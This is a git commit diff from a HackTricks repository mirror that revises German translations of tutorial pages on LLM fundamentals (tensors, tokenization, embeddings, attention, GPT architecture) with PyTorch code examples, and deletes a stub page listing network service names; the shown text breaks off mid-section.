mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
87873c1040
commit
29008c75bf
@ -1,29 +0,0 @@
|
||||
# 1911 - Pentesting fox
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
Und weitere Dienste:
|
||||
|
||||
ubiquiti-discover udp "Ubiquiti Networks Gerät"
|
||||
|
||||
dht udp "DHT Knoten"
|
||||
|
||||
5060 udp sip "SIP/"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,3 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,8 +1,10 @@
|
||||
# 0. Grundlegende LLM-Konzepte
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Vortraining
|
||||
|
||||
Vortraining ist die grundlegende Phase bei der Entwicklung eines großen Sprachmodells (LLM), in der das Modell einer Vielzahl und Vielfalt von Textdaten ausgesetzt wird. In dieser Phase **lernt das LLM die grundlegenden Strukturen, Muster und Nuancen der Sprache**, einschließlich Grammatik, Wortschatz, Syntax und kontextueller Beziehungen. Durch die Verarbeitung dieser umfangreichen Daten erwirbt das Modell ein breites Verständnis der Sprache und des allgemeinen Weltwissens. Diese umfassende Basis ermöglicht es dem LLM, kohärente und kontextuell relevante Texte zu generieren. Anschließend kann dieses vortrainierte Modell einer Feinabstimmung unterzogen werden, bei der es weiter auf spezialisierten Datensätzen trainiert wird, um seine Fähigkeiten für spezifische Aufgaben oder Bereiche anzupassen und seine Leistung und Relevanz in gezielten Anwendungen zu verbessern.
|
||||
Vortraining ist die grundlegende Phase bei der Entwicklung eines großen Sprachmodells (LLM), in der das Modell einer Vielzahl und Menge an Textdaten ausgesetzt wird. In dieser Phase **lernt das LLM die grundlegenden Strukturen, Muster und Nuancen der Sprache**, einschließlich Grammatik, Wortschatz, Syntax und kontextueller Beziehungen. Durch die Verarbeitung dieser umfangreichen Daten erwirbt das Modell ein breites Verständnis der Sprache und allgemeines Weltwissen. Diese umfassende Basis ermöglicht es dem LLM, kohärente und kontextuell relevante Texte zu generieren. Anschließend kann dieses vortrainierte Modell einer Feinabstimmung unterzogen werden, bei der es weiter auf spezialisierten Datensätzen trainiert wird, um seine Fähigkeiten für spezifische Aufgaben oder Bereiche anzupassen und seine Leistung und Relevanz in gezielten Anwendungen zu verbessern.
|
||||
|
||||
## Hauptkomponenten von LLM
|
||||
|
||||
@ -32,7 +34,7 @@ GPT_CONFIG_124M = {
|
||||
|
||||
In PyTorch ist ein **Tensor** eine grundlegende Datenstruktur, die als mehrdimensionales Array dient und Konzepte wie Skalare, Vektoren und Matrizen auf potenziell höhere Dimensionen verallgemeinert. Tensoren sind die primäre Art und Weise, wie Daten in PyTorch dargestellt und manipuliert werden, insbesondere im Kontext von Deep Learning und neuronalen Netzwerken.
|
||||
|
||||
### Mathematisches Konzept von Tensoren
|
||||
### Mathematisches Konzept der Tensoren
|
||||
|
||||
- **Skalare**: Tensoren der Rang 0, die eine einzelne Zahl darstellen (nulldimensional). Wie: 5
|
||||
- **Vektoren**: Tensoren der Rang 1, die ein eindimensionales Array von Zahlen darstellen. Wie: \[5,1]
|
||||
@ -41,11 +43,11 @@ In PyTorch ist ein **Tensor** eine grundlegende Datenstruktur, die als mehrdimen
|
||||
|
||||
### Tensoren als Datencontainer
|
||||
|
||||
Aus einer rechnerischen Perspektive fungieren Tensoren als Container für mehrdimensionale Daten, wobei jede Dimension verschiedene Merkmale oder Aspekte der Daten darstellen kann. Dies macht Tensoren besonders geeignet für die Verarbeitung komplexer Datensätze in Machine Learning-Aufgaben.
|
||||
Aus einer rechnerischen Perspektive fungieren Tensoren als Container für mehrdimensionale Daten, wobei jede Dimension verschiedene Merkmale oder Aspekte der Daten darstellen kann. Dies macht Tensoren besonders geeignet für die Verarbeitung komplexer Datensätze in maschinellen Lernaufgaben.
|
||||
|
||||
### PyTorch-Tensoren vs. NumPy-Arrays
|
||||
|
||||
Während PyTorch-Tensoren NumPy-Arrays in ihrer Fähigkeit, numerische Daten zu speichern und zu manipulieren, ähnlich sind, bieten sie zusätzliche Funktionalitäten, die für Deep Learning entscheidend sind:
|
||||
Während PyTorch-Tensoren ähnlich wie NumPy-Arrays in ihrer Fähigkeit sind, numerische Daten zu speichern und zu manipulieren, bieten sie zusätzliche Funktionalitäten, die für Deep Learning entscheidend sind:
|
||||
|
||||
- **Automatische Differenzierung**: PyTorch-Tensoren unterstützen die automatische Berechnung von Gradienten (autograd), was den Prozess der Berechnung von Ableitungen vereinfacht, die für das Training neuronaler Netzwerke erforderlich sind.
|
||||
- **GPU-Beschleunigung**: Tensoren in PyTorch können auf GPUs verschoben und dort berechnet werden, was großangelegte Berechnungen erheblich beschleunigt.
|
||||
@ -80,7 +82,7 @@ tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
- Tensors, die aus Python-Ganzzahlen erstellt werden, sind vom Typ `torch.int64`.
|
||||
- Tensors, die aus Python-Fließkommazahlen erstellt werden, sind vom Typ `torch.float32`.
|
||||
- Tensors, die aus Python-Gleitkommazahlen erstellt werden, sind vom Typ `torch.float32`.
|
||||
|
||||
Um den Datentyp eines Tensors zu ändern, verwenden Sie die Methode `.to()`:
|
||||
```python
|
||||
@ -119,7 +121,7 @@ result = tensor2d @ tensor2d.T
|
||||
|
||||
Tensors sind in PyTorch unerlässlich für den Aufbau und das Training von neuronalen Netzwerken:
|
||||
|
||||
- Sie speichern Eingabedaten, Gewichte und Biases.
|
||||
- Sie speichern Eingabedaten, Gewichte und Bias.
|
||||
- Sie erleichtern die für Vorwärts- und Rückwärtsdurchläufe in Trainingsalgorithmen erforderlichen Operationen.
|
||||
- Mit Autograd ermöglichen Tensors die automatische Berechnung von Gradienten, was den Optimierungsprozess vereinfacht.
|
||||
|
||||
@ -207,7 +209,7 @@ In größeren neuronalen Netzwerken mit mehreren Schichten wird der Prozess der
|
||||
|
||||
### **2. Backpropagation Algorithmus**
|
||||
|
||||
- **Schritt 1:** Initialisiere die Netzwerkparameter (Gewichte und Biases).
|
||||
- **Schritt 1:** Initialisiere die Netzwerkparameter (Gewichte und Bias).
|
||||
- **Schritt 2:** Führe für jedes Trainingsbeispiel einen Forward Pass durch, um die Ausgaben zu berechnen.
|
||||
- **Schritt 3:** Berechne den Verlust.
|
||||
- **Schritt 4:** Berechne die Gradienten des Verlusts in Bezug auf jeden Parameter unter Verwendung der Kettenregel.
|
||||
@ -283,3 +285,5 @@ Während des Backward Pass:
|
||||
- **Effizienz:** Vermeidet redundante Berechnungen, indem Zwischenresultate wiederverwendet werden.
|
||||
- **Genauigkeit:** Bietet exakte Ableitungen bis zur Maschinenpräzision.
|
||||
- **Benutzerfreundlichkeit:** Beseitigt die manuelle Berechnung von Ableitungen.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 1. Tokenisierung
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenisierung
|
||||
|
||||
**Tokenisierung** ist der Prozess, Daten, wie z.B. Text, in kleinere, handhabbare Teile, die _Tokens_ genannt werden, zu zerlegen. Jedes Token erhält dann eine eindeutige numerische Kennung (ID). Dies ist ein grundlegender Schritt zur Vorbereitung von Text für die Verarbeitung durch maschinelle Lernmodelle, insbesondere im Bereich der natürlichen Sprachverarbeitung (NLP).
|
||||
**Tokenisierung** ist der Prozess, Daten, wie z.B. Text, in kleinere, handhabbare Teile, die _Tokens_ genannt werden, zu zerlegen. Jedes Token erhält dann eine eindeutige numerische Kennung (ID). Dies ist ein grundlegender Schritt zur Vorbereitung von Text für die Verarbeitung durch maschinelle Lernmodelle, insbesondere in der Verarbeitung natürlicher Sprache (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser Anfangsphase ist sehr einfach: **Teile die Eingabe in Tokens (IDs) auf eine Weise, die Sinn macht**.
|
||||
@ -16,7 +18,7 @@ Text: `"Hallo, Welt!"`\
|
||||
Tokens: `["Hallo", ",", "Welt", "!"]`
|
||||
2. **Erstellen eines Vokabulars:**
|
||||
- Um Tokens in numerische IDs umzuwandeln, wird ein **Vokabular** erstellt. Dieses Vokabular listet alle einzigartigen Tokens (Wörter und Symbole) auf und weist jedem eine spezifische ID zu.
|
||||
- **Spezielle Tokens:** Dies sind spezielle Symbole, die dem Vokabular hinzugefügt werden, um verschiedene Szenarien zu behandeln:
|
||||
- **Sondertokens:** Dies sind spezielle Symbole, die dem Vokabular hinzugefügt werden, um verschiedene Szenarien zu behandeln:
|
||||
- `[BOS]` (Anfang der Sequenz): Kennzeichnet den Beginn eines Textes.
|
||||
- `[EOS]` (Ende der Sequenz): Kennzeichnet das Ende eines Textes.
|
||||
- `[PAD]` (Padding): Wird verwendet, um alle Sequenzen in einem Batch auf die gleiche Länge zu bringen.
|
||||
@ -93,3 +95,6 @@ print(token_ids[:50])
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 2. Datenstichprobe
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## **Datenstichprobe**
|
||||
|
||||
**Datenstichprobe** ist ein entscheidender Prozess bei der Vorbereitung von Daten für das Training großer Sprachmodelle (LLMs) wie GPT. Es beinhaltet die Organisation von Textdaten in Eingabe- und Zielsequenzen, die das Modell verwendet, um zu lernen, wie man das nächste Wort (oder Token) basierend auf den vorhergehenden Wörtern vorhersagt. Eine ordnungsgemäße Datenstichprobe stellt sicher, dass das Modell Sprachmuster und Abhängigkeiten effektiv erfasst.
|
||||
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 3. Token-Embeddings
|
||||
# 3. Token Embeddings
|
||||
|
||||
## Token-Embeddings
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Nach der Tokenisierung von Textdaten ist der nächste kritische Schritt zur Vorbereitung der Daten für das Training großer Sprachmodelle (LLMs) wie GPT die Erstellung von **Token-Embeddings**. Token-Embeddings transformieren diskrete Tokens (wie Wörter oder Subwörter) in kontinuierliche numerische Vektoren, die das Modell verarbeiten und aus denen es lernen kann. Diese Erklärung zerlegt Token-Embeddings, deren Initialisierung, Verwendung und die Rolle der Positions-Embeddings zur Verbesserung des Modells beim Verständnis von Token-Sequenzen.
|
||||
## Token Embeddings
|
||||
|
||||
Nach der Tokenisierung von Textdaten ist der nächste kritische Schritt zur Vorbereitung der Daten für das Training großer Sprachmodelle (LLMs) wie GPT die Erstellung von **Token-Embeddings**. Token-Embeddings transformieren diskrete Tokens (wie Wörter oder Subwörter) in kontinuierliche numerische Vektoren, die das Modell verarbeiten und aus denen es lernen kann. Diese Erklärung zerlegt Token-Embeddings, deren Initialisierung, Verwendung und die Rolle der Positions-Embeddings zur Verbesserung des Verständnisses des Modells für Token-Sequenzen.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser dritten Phase ist sehr einfach: **Jedem der vorherigen Tokens im Vokabular einen Vektor der gewünschten Dimensionen zuzuweisen, um das Modell zu trainieren.** Jedes Wort im Vokabular wird einen Punkt in einem Raum von X Dimensionen haben.\
|
||||
@ -82,7 +84,7 @@ Während des Trainings wird jedes Token in den Eingabedaten in seinen entspreche
|
||||
|
||||
**Datenstruktur:**
|
||||
|
||||
- Jedes Batch wird als 3D-Tensor mit der Form `(batch_size, max_length, embedding_dim)` dargestellt.
|
||||
- Jeder Batch wird als 3D-Tensor mit der Form `(batch_size, max_length, embedding_dim)` dargestellt.
|
||||
- Für unser Beispiel wäre die Form `(8, 4, 256)`.
|
||||
|
||||
**Visualisierung:**
|
||||
@ -121,34 +123,34 @@ cssCopy codeBatch
|
||||
- Jedes Token in der Sequenz wird durch einen 256-dimensionalen Vektor dargestellt.
|
||||
- Das Modell verarbeitet diese Embeddings, um Sprachmuster zu lernen und Vorhersagen zu generieren.
|
||||
|
||||
## **Positionale Embeddings: Kontext zu Token-Embeddings hinzufügen**
|
||||
## **Positions-Embeddings: Kontext zu Token-Embeddings hinzufügen**
|
||||
|
||||
Während Token-Embeddings die Bedeutung einzelner Tokens erfassen, kodieren sie nicht von Natur aus die Position der Tokens innerhalb einer Sequenz. Das Verständnis der Reihenfolge der Tokens ist entscheidend für das Sprachverständnis. Hier kommen **positionale Embeddings** ins Spiel.
|
||||
Während Token-Embeddings die Bedeutung einzelner Tokens erfassen, kodieren sie nicht von Natur aus die Position der Tokens innerhalb einer Sequenz. Das Verständnis der Reihenfolge der Tokens ist entscheidend für das Sprachverständnis. Hier kommen **Positions-Embeddings** ins Spiel.
|
||||
|
||||
### **Warum positionale Embeddings benötigt werden:**
|
||||
### **Warum Positions-Embeddings benötigt werden:**
|
||||
|
||||
- **Token-Reihenfolge ist wichtig:** In Sätzen hängt die Bedeutung oft von der Reihenfolge der Wörter ab. Zum Beispiel "Die Katze saß auf der Matte" vs. "Die Matte saß auf der Katze."
|
||||
- **Einschränkung des Embeddings:** Ohne Positionsinformationen behandelt das Modell Tokens als eine "Tasche von Wörtern" und ignoriert ihre Reihenfolge.
|
||||
- **Die Reihenfolge der Tokens ist wichtig:** In Sätzen hängt die Bedeutung oft von der Reihenfolge der Wörter ab. Zum Beispiel: "Die Katze saß auf der Matte" vs. "Die Matte saß auf der Katze."
|
||||
- **Einschränkung der Embeddings:** Ohne Positionsinformationen behandelt das Modell Tokens als eine "Tüte voller Wörter" und ignoriert ihre Reihenfolge.
|
||||
|
||||
### **Arten von positionalen Embeddings:**
|
||||
### **Arten von Positions-Embeddings:**
|
||||
|
||||
1. **Absolute positionale Embeddings:**
|
||||
1. **Absolute Positions-Embeddings:**
|
||||
- Weisen jeder Position in der Sequenz einen einzigartigen Positionsvektor zu.
|
||||
- **Beispiel:** Das erste Token in jeder Sequenz hat dasselbe positionale Embedding, das zweite Token hat ein anderes und so weiter.
|
||||
- **Beispiel:** Das erste Token in jeder Sequenz hat dasselbe Positions-Embedding, das zweite Token hat ein anderes und so weiter.
|
||||
- **Verwendet von:** OpenAI’s GPT-Modelle.
|
||||
2. **Relative positionale Embeddings:**
|
||||
2. **Relative Positions-Embeddings:**
|
||||
- Kodieren den relativen Abstand zwischen Tokens anstelle ihrer absoluten Positionen.
|
||||
- **Beispiel:** Geben an, wie weit zwei Tokens voneinander entfernt sind, unabhängig von ihren absoluten Positionen in der Sequenz.
|
||||
- **Verwendet von:** Modellen wie Transformer-XL und einigen Varianten von BERT.
|
||||
|
||||
### **Wie positionale Embeddings integriert werden:**
|
||||
### **Wie Positions-Embeddings integriert werden:**
|
||||
|
||||
- **Gleiche Dimensionen:** Positionale Embeddings haben die gleiche Dimensionalität wie Token-Embeddings.
|
||||
- **Gleiche Dimensionen:** Positions-Embeddings haben dieselbe Dimensionalität wie Token-Embeddings.
|
||||
- **Addition:** Sie werden zu Token-Embeddings addiert, wodurch die Identität des Tokens mit Positionsinformationen kombiniert wird, ohne die gesamte Dimensionalität zu erhöhen.
|
||||
|
||||
**Beispiel für das Hinzufügen von positionalen Embeddings:**
|
||||
**Beispiel für das Hinzufügen von Positions-Embeddings:**
|
||||
|
||||
Angenommen, ein Token-Embedding-Vektor ist `[0.5, -0.2, 0.1]` und sein positionales Embedding-Vektor ist `[0.1, 0.3, -0.1]`. Das kombinierte Embedding, das vom Modell verwendet wird, wäre:
|
||||
Angenommen, ein Token-Embedding-Vektor ist `[0.5, -0.2, 0.1]` und sein Positions-Embedding-Vektor ist `[0.1, 0.3, -0.1]`. Das kombinierte Embedding, das vom Modell verwendet wird, wäre:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# 4. Aufmerksamkeitsmechanismen
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Aufmerksamkeitsmechanismen und Selbstaufmerksamkeit in neuronalen Netzwerken
|
||||
|
||||
Aufmerksamkeitsmechanismen ermöglichen es neuronalen Netzwerken, sich **auf spezifische Teile der Eingabe zu konzentrieren, wenn sie jeden Teil der Ausgabe generieren**. Sie weisen unterschiedlichen Eingaben unterschiedliche Gewichte zu, was dem Modell hilft zu entscheiden, welche Eingaben für die jeweilige Aufgabe am relevantesten sind. Dies ist entscheidend bei Aufgaben wie maschineller Übersetzung, bei denen das Verständnis des Kontexts des gesamten Satzes für eine genaue Übersetzung notwendig ist.
|
||||
Aufmerksamkeitsmechanismen ermöglichen es neuronalen Netzwerken, sich **auf spezifische Teile der Eingabe zu konzentrieren, wenn sie jeden Teil der Ausgabe generieren**. Sie weisen verschiedenen Eingaben unterschiedliche Gewichte zu, was dem Modell hilft zu entscheiden, welche Eingaben für die jeweilige Aufgabe am relevantesten sind. Dies ist entscheidend bei Aufgaben wie maschineller Übersetzung, bei denen das Verständnis des Kontexts des gesamten Satzes für eine genaue Übersetzung notwendig ist.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
@ -10,7 +12,7 @@ Aufmerksamkeitsmechanismen ermöglichen es neuronalen Netzwerken, sich **auf spe
|
||||
|
||||
### Verständnis der Aufmerksamkeitsmechanismen
|
||||
|
||||
In traditionellen Sequenz-zu-Sequenz-Modellen, die für die Sprachübersetzung verwendet werden, kodiert das Modell eine Eingabesequenz in einen kontextuellen Vektor fester Größe. Dieses Vorgehen hat jedoch Schwierigkeiten mit langen Sätzen, da der kontextuelle Vektor fester Größe möglicherweise nicht alle notwendigen Informationen erfasst. Aufmerksamkeitsmechanismen beheben diese Einschränkung, indem sie dem Modell erlauben, alle Eingabetoken zu berücksichtigen, wenn es jedes Ausgabetoken generiert.
|
||||
In traditionellen Sequenz-zu-Sequenz-Modellen, die für die Sprachübersetzung verwendet werden, kodiert das Modell eine Eingabesequenz in einen kontextuellen Vektor fester Größe. Dieser Ansatz hat jedoch Schwierigkeiten mit langen Sätzen, da der kontextuelle Vektor fester Größe möglicherweise nicht alle notwendigen Informationen erfasst. Aufmerksamkeitsmechanismen beheben diese Einschränkung, indem sie es dem Modell ermöglichen, alle Eingabetoken zu berücksichtigen, wenn es jedes Ausgabetoken generiert.
|
||||
|
||||
#### Beispiel: Maschinelle Übersetzung
|
||||
|
||||
@ -41,7 +43,7 @@ Unser Ziel ist es, den **Kontextvektor** für das Wort **"shiny"** mithilfe von
|
||||
> [!TIP]
|
||||
> Multiplizieren Sie einfach jeden Dimensionswert der Abfrage mit dem entsprechenden Wert jedes Tokens und addieren Sie die Ergebnisse. Sie erhalten 1 Wert pro Token-Paar.
|
||||
|
||||
Für jedes Wort im Satz berechnen Sie den **Aufmerksamkeitswert** in Bezug auf "shiny", indem Sie das Skalarprodukt ihrer Embeddings berechnen.
|
||||
Für jedes Wort im Satz berechnen wir den **Aufmerksamkeitswert** in Bezug auf "shiny", indem wir das Skalarprodukt ihrer Embeddings berechnen.
|
||||
|
||||
**Aufmerksamkeitswert zwischen "Hello" und "shiny"**
|
||||
|
||||
@ -68,7 +70,7 @@ Wenden Sie die **Softmax-Funktion** auf die Aufmerksamkeitswerte an, um sie in A
|
||||
|
||||
Berechnung der Exponentialwerte:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung der Summe:
|
||||
|
||||
@ -167,7 +169,7 @@ Um zu verhindern, dass die Dot-Produkte zu groß werden, skalieren Sie sie durch
|
||||
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIPP]
|
||||
> [!TIP]
|
||||
> Der Wert wird durch die Quadratwurzel der Dimensionen geteilt, da Dot-Produkte sehr groß werden können und dies hilft, sie zu regulieren.
|
||||
|
||||
**Anwenden von Softmax zur Ermittlung der Attention-Gewichte:** Wie im ursprünglichen Beispiel, normalisieren Sie alle Werte, sodass sie 1 ergeben.
|
||||
@ -250,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
|
||||
### Maskierung zusätzlicher Aufmerksamkeitsgewichte mit Dropout
|
||||
|
||||
Um **Überanpassung zu verhindern**, können wir **Dropout** auf die Aufmerksamkeitsgewichte nach der Softmax-Operation anwenden. Dropout **setzt zufällig einige der Aufmerksamkeitsgewichte während des Trainings auf null.**
|
||||
Um **Überanpassung zu verhindern**, können wir **Dropout** auf die Aufmerksamkeitsgewichte nach der Softmax-Operation anwenden. Dropout **setzt zufällig einige der Aufmerksamkeitsgewichte während des Trainings auf null**.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
@ -327,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
### Codebeispiel
|
||||
|
||||
Es wäre möglich, den vorherigen Code wiederzuverwenden und einfach einen Wrapper hinzuzufügen, der ihn mehrere Male ausführt, aber dies ist eine optimierte Version von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), die alle Köpfe gleichzeitig verarbeitet (was die Anzahl der teuren for-Schleifen reduziert). Wie im Code zu sehen ist, werden die Dimensionen jedes Tokens in verschiedene Dimensionen entsprechend der Anzahl der Köpfe aufgeteilt. Auf diese Weise, wenn ein Token 8 Dimensionen hat und wir 3 Köpfe verwenden möchten, werden die Dimensionen in 2 Arrays mit 4 Dimensionen aufgeteilt, und jeder Kopf verwendet eines davon:
|
||||
Es wäre möglich, den vorherigen Code wiederzuverwenden und einfach einen Wrapper hinzuzufügen, der ihn mehrere Male ausführt, aber dies ist eine optimierte Version von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), die alle Köpfe gleichzeitig verarbeitet (was die Anzahl der teuren Schleifen reduziert). Wie im Code zu sehen ist, werden die Dimensionen jedes Tokens in verschiedene Dimensionen entsprechend der Anzahl der Köpfe aufgeteilt. Auf diese Weise, wenn ein Token 8 Dimensionen hat und wir 3 Köpfe verwenden möchten, werden die Dimensionen in 2 Arrays mit 4 Dimensionen aufgeteilt, und jeder Kopf verwendet eines davon:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
@ -409,8 +411,11 @@ Für eine weitere kompakte und effiziente Implementierung könnten Sie die [`tor
|
||||
> [!TIP]
|
||||
> Kurze Antwort von ChatGPT, warum es besser ist, die Dimensionen der Tokens unter den Köpfen zu teilen, anstatt dass jeder Kopf alle Dimensionen aller Tokens überprüft:
|
||||
>
|
||||
> Während es vorteilhaft erscheinen mag, jedem Kopf den Zugriff auf alle Einbettungsdimensionen zu ermöglichen, da jeder Kopf auf die vollständigen Informationen zugreifen könnte, ist die gängige Praxis, die **Einbettungsdimensionen unter den Köpfen zu teilen**. Dieser Ansatz balanciert die rechnerische Effizienz mit der Modellleistung und fördert, dass jeder Kopf unterschiedliche Darstellungen lernt. Daher wird das Teilen der Einbettungsdimensionen im Allgemeinen bevorzugt, anstatt dass jeder Kopf alle Dimensionen überprüft.
|
||||
> Während es vorteilhaft erscheinen mag, jedem Kopf den Zugriff auf alle Einbettungsdimensionen zu ermöglichen, da jeder Kopf auf die vollständigen Informationen zugreifen könnte, ist die gängige Praxis, die **Einbettungsdimensionen unter den Köpfen zu teilen**. Dieser Ansatz balanciert die rechnerische Effizienz mit der Modellleistung und fördert, dass jeder Kopf vielfältige Darstellungen lernt. Daher wird das Teilen der Einbettungsdimensionen im Allgemeinen bevorzugt, anstatt dass jeder Kopf alle Dimensionen überprüft.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# 5. LLM-Architektur
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LLM-Architektur
|
||||
|
||||
> [!TIP]
|
||||
@ -7,7 +9,7 @@
|
||||
>
|
||||
> Diese Architektur wird sowohl für das Training als auch für die Vorhersage von Text nach dem Training verwendet.
|
||||
|
||||
LLM-Architekturbeispiel von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
Beispiel für die LLM-Architektur von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Eine hochrangige Darstellung kann beobachtet werden in:
|
||||
|
||||
@ -17,10 +19,10 @@ Eine hochrangige Darstellung kann beobachtet werden in:
|
||||
2. **Token-Embedding- und Positions-Embedding-Schicht**: Der tokenisierte Text wird durch eine **Token-Embedding**-Schicht und eine **Positions-Embedding-Schicht** geleitet, die die Position der Tokens in einer Sequenz erfasst, was entscheidend für das Verständnis der Wortreihenfolge ist.
|
||||
3. **Transformer-Blöcke**: Das Modell enthält **12 Transformer-Blöcke**, jeder mit mehreren Schichten. Diese Blöcke wiederholen die folgende Sequenz:
|
||||
- **Maskierte Multi-Head-Attention**: Ermöglicht es dem Modell, sich gleichzeitig auf verschiedene Teile des Eingabetextes zu konzentrieren.
|
||||
- **Schichtnormalisierung**: Ein Normalisierungsschritt zur Stabilisierung und Verbesserung des Trainings.
|
||||
- **Feed-Forward-Schicht**: Verantwortlich für die Verarbeitung der Informationen aus der Aufmerksamkeits-Schicht und für die Vorhersage des nächsten Tokens.
|
||||
- **Layer-Normalisierung**: Ein Normalisierungsschritt zur Stabilisierung und Verbesserung des Trainings.
|
||||
- **Feed-Forward-Schicht**: Verantwortlich für die Verarbeitung der Informationen aus der Attention-Schicht und für die Vorhersage des nächsten Tokens.
|
||||
- **Dropout-Schichten**: Diese Schichten verhindern Überanpassung, indem sie während des Trainings zufällig Einheiten fallen lassen.
|
||||
4. **Letzte Ausgabeschicht**: Das Modell gibt einen **4x50.257-dimensionalen Tensor** aus, wobei **50.257** die Größe des Wortschatzes darstellt. Jede Zeile in diesem Tensor entspricht einem Vektor, den das Modell verwendet, um das nächste Wort in der Sequenz vorherzusagen.
|
||||
4. **Endausgabeschicht**: Das Modell gibt einen **4x50.257-dimensionalen Tensor** aus, wobei **50.257** die Größe des Wortschatzes darstellt. Jede Zeile in diesem Tensor entspricht einem Vektor, den das Modell verwendet, um das nächste Wort in der Sequenz vorherzusagen.
|
||||
5. **Ziel**: Das Ziel ist es, diese Embeddings zu nehmen und sie wieder in Text umzuwandeln. Insbesondere wird die letzte Zeile der Ausgabe verwendet, um das nächste Wort zu generieren, das in diesem Diagramm als "vorwärts" dargestellt ist.
|
||||
|
||||
### Code-Darstellung
|
||||
@ -211,7 +213,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
#### **Zweck und Funktionalität**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Eine Aktivierungsfunktion, die Nichtlinearität in das Modell einführt.
|
||||
- **Glatte Aktivierung:** Im Gegensatz zu ReLU, das negative Eingaben auf null setzt, ordnet GELU Eingaben glatt Ausgaben zu und ermöglicht kleine, von null verschiedene Werte für negative Eingaben.
|
||||
